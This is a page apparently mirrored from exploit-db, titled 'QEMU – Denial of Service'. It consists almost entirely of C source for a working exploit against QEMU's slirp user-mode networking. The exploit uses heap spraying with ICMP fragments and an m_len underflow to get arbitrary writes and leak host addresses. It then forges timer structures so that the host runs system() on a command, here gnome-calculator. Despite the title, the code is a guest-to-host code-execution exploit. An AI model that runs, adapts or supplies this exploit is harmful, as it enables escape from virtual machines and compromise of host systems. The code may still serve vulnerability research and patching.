QEMU – Denial of Service

  • 作者: vishnudevtj
    日期: 2019-08-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47320/
  • #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <net/ethernet.h>
    #include <arpa/inet.h>
    #include <linux/icmp.h>
    #include <linux/if_packet.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <time.h>
    
    
    #define die(x) do { \
    perror(x);\
    exit(EXIT_FAILURE); \
    }while(0);
    
    // * * * * * * * * * * * * * * *Constans * * * * * * * * * * * * * * * * * *
    
    #define SRC_ADDR "10.0.2.15"
    #define DST_ADDR "10.0.2.2"
    
    #define INTERFACE "ens3"
    
    #define ETH_HDRLEN 14 // Ethernet header length
    #define IP4_HDRLEN 20 // IPv4 header length
    #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data
    #define MIN_MTU 12000
    
    // * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * *
    
    #define SYSTEM_PLT 0x029b290
    #define QEMU_CLOCK 0x10e8200
    #define QEMU_TIMER_NOTIFY_CB 0x2f4bff
    #define MAIN_LOOP_TLG 0x10e81e0
    #define CPU_UPDATE_STATE 0x488190
    
    // Some place in bss which is not used to craft fake stucts
    #define FAKE_STRUCT 0xf43360
    
    // * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * *
    
    struct mbuf {
    	struct	mbuf *m_next;		/* Linked list of mbufs */
    	struct	mbuf *m_prev;
    	struct	mbuf *m_nextpkt;	/* Next packet in queue/record */
    	struct	mbuf *m_prevpkt;	/* Flags aren't used in the output queue */
    	int	m_flags;		/* Misc flags */
    
    	int	m_size;			/* Size of mbuf, from m_dat or m_ext */
    	struct	socket *m_so;
    
    	char * m_data;			/* Current location of data */
    	int	m_len;			/* Amount of data in this mbuf, from m_data */
    
    	void *slirp;
    	char resolution_requested;
    	u_int64_t expiration_date;
    	char *m_ext;
    	/* start of dynamic buffer area, must be last element */
    	char*m_dat;
    };
    
    
    struct QEMUTimer {
    int64_t expire_time;/* in nanoseconds */
    void *timer_list;
    void *cb;
    void *opaque;
    void *next;
    int scale;
    };
    
    
    struct QEMUTimerList {
    void * clock;
    char active_timers_lock[0x38];
    struct QEMUTimer *active_timers;
    struct QEMUTimerList *le_next; /* next element */\
    struct QEMUTimerList **le_prev;/* address of previous next element */\
    void *notify_cb;
    void *notify_opaque;
    
    /* lightweight method to mark the end of timerlist's running */
    size_t timers_done_ev;
    };
    
    
    
    // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
    
    int raw_socket;
    int recv_socket;
    int spray_id;
    int idx;
    char mac[6];
    
    void * code_leak;
    void * heap_leak;
    
    void *Malloc(size_t size) {
    void * ptr = calloc(size,1);
    if (!ptr) {
    die("malloc() failed to allocate");
    }
    return ptr;
    }
    
    unsigned short in_cksum(unsigned short *ptr,int nbytes) {
    
    register long sum;/* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer; /* assumes u_short == 16 bits */
    
    /*
     * Our algorithm is simple, using a 32-bit accumulator (sum),
     * we add sequential 16-bit words to it, and at the end, fold back
     * all the carry bits from the top 16 bits into the lower 16 bits.
     */
    
    sum = 0;
    while (nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
    }
    
    /* mop up an odd byte, if necessary */
    if (nbytes == 1) {
    oddbyte = 0;/* make sure top half is zero */
    *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
    sum += oddbyte;
    }
    
    /*
     * Add back carry outs from top 16 bits to low 16 bits.
     */
    
    sum= (sum >> 16) + (sum & 0xffff);/* add high-16 to low-16 */
    sum += (sum >> 16); /* add carry */
    answer = ~sum;/* ones-complement, then truncate to 16 bits */
    return(answer);
    }
    
    void hex_dump(char *desc, void *addr, int len) 
    {
    int i;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char*)addr;
    if (desc != NULL)
    printf ("%s:\n", desc);
    for (i = 0; i < len; i++) {
    if ((i % 16) == 0) {
    if (i != 0)
    printf("%s\n", buff);
    printf("%04x ", i);
    }
    printf(" %02x", pc[i]);
    if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
    buff[i % 16] = '.';
    } else {
    buff[i % 16] = pc[i];
    }
    buff[(i % 16) + 1] = '\0';
    }
    while ((i % 16) != 0) {
    printf(" ");
    i++;
    }
    printf("%s\n", buff);
    }
    
    char * ethernet_header(char * eth_hdr){
    
    /* src MAC :52:54:00:12:34:56 */
    memcpy(&eth_hdr[6],mac,6);
    
    // Next is ethernet type code (ETH_P_IP for IPv4).
    // http://www.iana.org/assignments/ethernet-numbers
    eth_hdr[12] = ETH_P_IP / 256;
    eth_hdr[13] = ETH_P_IP % 256;
    return eth_hdr;
    }
    
    void ip_header(structiphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len,
     u_int8_t protocol,u_int16_t id,uint16_t frag_off){
    
    /* rfc791 */
    ip->ihl = IP4_HDRLEN / sizeof (uint32_t);
    ip->version = 4;
    ip->tos = 0x0;
    ip->tot_len = htons(IP4_HDRLEN + payload_len);
    ip->id = htons(id);
    ip->ttl = 64;
    ip->frag_off = htons(frag_off);
    ip->protocol = protocol;
    ip->saddr = src_addr;
    ip->daddr = dst_addr;
    ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN);
    }
    
    void icmp_header(struct icmphdr *icmp, char *data, size_t size) {
    
    /* rfc792 */
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->un.echo.id = htons(0);
    icmp->un.echo.sequence = htons(0);
    if (data) {
    char * payload = (char * )icmp+ ICMP_HDRLEN;
    memcpy(payload, data, size);
    }
    
    icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size);
    
    }
    
    void send_pkt(char *frame, u_int32_t frame_length) {
    
    struct sockaddr_ll sock;
    sock.sll_family = AF_PACKET;
    sock.sll_ifindex = idx;
    sock.sll_halen = 6;
    memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t));
    
    if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock,
    sizeof(sock))<0)
    die("sendto()");
    }
    
    void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {
    
    u_int32_t src_addr, dst_addr;
    src_addr = inet_addr(SRC_ADDR);
    dst_addr = inet_addr(DST_ADDR);
    
    char * pkt = Malloc(IP_MAXPACKET);
    struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    
    ethernet_header(pkt);
    u_int16_t payload_len = size;
    ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off);
    
    if(data) {
    char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN;
    memcpy(payload, data, payload_len);
    }
    
    u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len;
    send_pkt(pkt,frame_length);
    free(pkt);
    }
    
    void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {
    
    char * pkt = Malloc(IP_MAXPACKET);
    struct icmphdr * icmp = (struct icmphdr * )(pkt);
    
    if(!data)
    data = Malloc(size);
    icmp_header(icmp,data,size);
    
    u_int32_t len =ICMP_HDRLEN + size;
    send_ip4(id,len,pkt,frag_off);
    free(pkt);
     }
    
    // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
    
    void initialize() {
     int sd;
     struct ifreq ifr;
     char interface[40];
     int mtu;
    
     srand(time(NULL));
     strcpy (interface, INTERFACE);
    
    // Submit request for a socket descriptor to look up interface.
    if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    die("socket() failed to get socket descriptor for using ioctl()");
    }
    // Use ioctl() to get interface maximum transmission unit (MTU).
    memset (&ifr, 0, sizeof (ifr));
    strcpy (ifr.ifr_name, interface);
    if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) {
    die("ioctl() failed to get MTU ");
    }
    mtu = ifr.ifr_mtu;
    printf ("MTU of interface %s : %i\n", interface, mtu);
    if (mtu < MIN_MTU) {
    printf("Run\n$ ip link set dev %s mtu 12000\n",interface);
    die("");
    }
    
    // Use ioctl() to look up interface name and get its MAC address.
    memset (&ifr, 0, sizeof (ifr));
    snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
    if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
    die("ioctl() failed to get source MAC address ");
    }
    memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
    printf ("MAC %s :", interface);
    for (int i=0; i<5; i++) {
    printf ("%02x:", mac[i]);
    }
    printf ("%02x\n", mac[5]);
    
    // Use ioctl() to look up interface index which we will use to
    // bind socket descriptor sd to specified interface with setsockopt() since
    // none of the other arguments of sendto() specify which interface to use.
    memset (&ifr, 0, sizeof (ifr));
    snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
    if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
    die("ioctl() failed to find interface ");
    }
    
    close (sd);
    printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex);
    idx = ifr.ifr_ifindex;
    
    if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1)
    die("socket() failed to obtain raw socket");
    
    
    /* Bind socket to interface index. */
    if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
    die("setsockopt() failed to bind to interface ");
    }
    
    printf("Initialized socket discriptors\n");
    }
    
    
    void spray(uint32_t size, u_int32_t count) {
    printf("Spraying 0x%x x ICMP[0x%x]\n",count,size);
     int s;
     u_int16_t frag_off;
     char * data;
    
     for (int i = 0; i < count; i++) {
     send_icmp(spray_id + i,size, NULL, IP_MF);
     }
    }
    
    void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size,
     size_t spray_count) {
    
    spray(0x8, spray_count);
    
    
    size_t id = spray_id + spray_count;
    // Target
    size_t target_id = id++;
    send_ip4(target_id, 0x8, NULL, IP_MF);
    
     
    // Padding
    send_ip4(id++, 0x8, NULL, IP_MF);
    send_ip4(id++, 0x8, NULL, IP_MF);
    
    // Piviot Point
    size_t hole_1 = id++;
    send_ip4(hole_1, 0x8, NULL, IP_MF);
    
    
    // Padding
    send_ip4(id++, 0xC30, NULL, IP_MF);
    
    // For creating hole
    size_t hole_2 = id++;
    send_ip4(hole_2, 0x8, NULL, IP_MF);
    
    // Toprevent consolidation
    send_ip4(id++, 0x8, NULL, IP_MF);
    
    // This should create the fist hole
    send_ip4(hole_1, 0x8, NULL, 0x1);
    
    // This should create the second hole
    send_ip4(hole_2, 0x8, NULL, 0x1);
    
    int m_data_off = -0x70;
    int m_len = m_data_off;
    addr = (void *)((size_t)addr + ((m_len * -1) - addrlen));
    if (addrlen != 0x8) {
    m_len -= (0x8 - addrlen);
    }
    
    size_t vuln_id = id++;
    
    char * pkt = Malloc(IP_MAXPACKET);
    memset(pkt,0x0,IP_MAXPACKET);
    struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);
    
    u_int16_t pkt_len = 0xc90;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
    u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
    
    // The mbuf of this packet will be placed in the second hole and
    // m_ext buff will be placed on the first hole, We will write wrt
    // to this.
    send_pkt(pkt,frame_length);
    
    memset(pkt,0x0,IP_MAXPACKET);
    ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);
    pkt_len = 0x8;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
    frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
    
    // Trigger the bug to change target's m_len
    send_pkt(pkt,frame_length);
    
    
    // Underflow and write, to change m_data
    char addr_buf[0x8] = {0};
    if (addrlen != 0x8) {
    memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
    } else {
    memcpy(addr_buf,(char *)&addr,8);
    }
    send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF);
    send_ip4(target_id, size, payload, 0x2);
    
    hex_dump("Writing Payload ", payload, size);
    }
    
    
    void recv_leaks(){
    /* Prepare recv sd */
    /* Submit request for a raw socket descriptor to receive packets. */
    int recvsd, fromlen, bytes, status;
    struct sockaddr from;
    char recv_ether_frame[IP_MAXPACKET];
    struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
    struct icmphdr *recv_icmphdr =
    (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
    
    for (;;) {
    
    memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
    memset(&from, 0, sizeof(from));
    fromlen = sizeof(from);
    if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0,
    (struct sockaddr *)&from, (socklen_t *)&fromlen)) <
    0) {
    status = errno;
    // Deal with error conditions first.
    if (status == EAGAIN) { // EAGAIN = 11
    printf("Time out\n");
    } else if (status == EINTR) { // EINTR = 4
    continue; // Something weird happened, but let's keep listening.
    } else {
    perror("recvfrom() failed ");
    exit(EXIT_FAILURE);
    }
    } // End of error handling conditionals.
    
    // Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore
    // and keep listening.
    if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&
    (recv_iphdr->protocol == IPPROTO_ICMP) &&
    (recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) &&
    (recv_icmphdr->checksum == 0xffff)) {
    hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes);
    
    code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE);
    size_t *ptr = (size_t *)(recv_ether_frame + 0x30);
    for (int i = 0; i < (bytes / 0x8); i++) {
    if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) {
    heap_leak = (void *)(ptr[i] & 0xffffff000000);
    break;
    }
    }
    
    printf("Host Code Leak : %p\n", code_leak);
    printf("Host Heap Leak : %p\n", heap_leak);
    break;
    }
    }
    }
    
    void leak() {
    u_int32_t src_addr, dst_addr;
    src_addr = inet_addr(SRC_ADDR);
    dst_addr = inet_addr(DST_ADDR);
    
    /* Crafting Fake ICMP Packet For Leak */
    char * pkt = Malloc(IP_MAXPACKET);
    struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN);
    ethernet_header(pkt);
    ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF);
    
    ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN;
    ip->id = ntohs(ip->id);
    ip->frag_off = htons(ip->frag_off);
    
    icmp_header(icmp,NULL,0x0);
    char * data = (char *)icmp + ICMP_HDRLEN + 8;
    size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;
    
    spray_id = rand() & 0xffff;
    arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100);
    
    // This is same as the arbitrary write function
    spray_id = rand() & 0xffff;
    spray(0x8, 0x20);
    size_t id = spray_id + 0x20;
    
    size_t replay_id = id++;
    send_ip4(replay_id, 0x100, NULL, IP_MF);
    
    // Target
    size_t target_id = id++;
    send_ip4(target_id, 0x8, NULL, IP_MF);
    
     
    // Padding
    send_ip4(id++, 0x8, NULL, IP_MF);
    send_ip4(id++, 0x8, NULL, IP_MF);
    
    // Piviot Point
    size_t hole_1 = id++;
    send_ip4(hole_1, 0x8, NULL, IP_MF);
    
    
    // Padding
    send_ip4(id++, 0xC30, NULL, IP_MF);
    
    // For creating hole
    size_t hole_2 = id++;
    send_ip4(hole_2, 0x8, NULL, IP_MF);
    
    // Prevent Consolidation
    send_ip4(id++, 0x8, NULL, IP_MF);
    
    // This should create the fist hole
    send_ip4(hole_1, 0x8, NULL, 0x1);
    
    // This should create the second hole
    send_ip4(hole_2, 0x8, NULL, 0x1);
    
    // Trigger the bug to change target's m_len
    int m_data_off = -0xd50;
    int m_len = m_data_off;
    size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe +6) ;
    size_t addrlen = 0x3;
    
    if (addrlen != 0x8) {
    m_len -= (0x8 - addrlen);
    }
    
    size_t vuln_id = id++;
    
    memset(pkt,0x0,IP_MAXPACKET);
    ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);
    
    pkt_len = 0xc90;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
    u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
    send_pkt(pkt,frame_length);
    
    
    memset(pkt,0x0,IP_MAXPACKET);
    ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);
    pkt_len = 0x8;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
    frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
    send_pkt(pkt,frame_length);
    
    
    // Underflow and write to change m_data
    char addr_buf[0x8] = {0};
    if (addrlen != 0x8) {
    memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
    } else {
    memcpy(addr_buf,(char *)&addr,8);
    }
    send_ip4(target_id, 0x8, addr_buf, 0x1);
    
    if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
    die("socket() failed to obtain a receive socket descriptor");
    send_ip4(replay_id, 0x8, NULL, 0x20);
    recv_leaks();
    
    
    char zero[0x28] = {0};
    spray_id = rand() & 0xffff;
    printf("Cleaning Heap\n");
    arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20);
    }
    
    
    void pwn() {
    char payload[0x200] = {0};
    struct QEMUTimerList *tl = (struct QEMUTimerList *)payload;
    struct QEMUTimer *ts =
    (struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList));
    
    char cmd[] = "/usr/bin/gnome-calculator";
    memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \
     +sizeof(struct QEMUTimer )),\
    (void *)cmd,sizeof(cmd));
    
    void * fake_timer_list = code_leak +FAKE_STRUCT;
    void * fake_timer = fake_timer_list +sizeof(struct QEMUTimerList);
    
    void *system = code_leak + SYSTEM_PLT;
    void *cmd_addr = fake_timer + sizeof(struct QEMUTimer);
    /* Fake Timer List */
    tl->clock = (void *)(code_leak + QEMU_CLOCK);
    *(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000;
    tl->active_timers = fake_timer;
    tl->le_next = 0x0;
    tl->le_prev = 0x0;
    tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB;
    tl->notify_opaque = 0x0;
    tl->timers_done_ev = 0x0000000100000000;
    
    /*Fake Timer structure*/
    ts->timer_list = fake_timer_list;
    ts->cb = system;
    ts->opaque = cmd_addr;
    ts->scale = 1000000;
    ts->expire_time = -1;
    
    spray_id = rand() & 0xffff;
    size_t payload_size =
    sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd);
    
    printf("Writing fake structure : %p\n",fake_timer_list);
    arbitrary_write(fake_timer_list,8,payload,payload_size,0x20);
    
    spray_id = rand() & 0xffff;
    void *main_loop_tlg = code_leak + MAIN_LOOP_TLG;
    printf("Overwriting main_loop_tlg %p\n",main_loop_tlg);
    arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20);
    }
    
    int main() {
    initialize();
    leak();
    pwn();
    return 0;
    }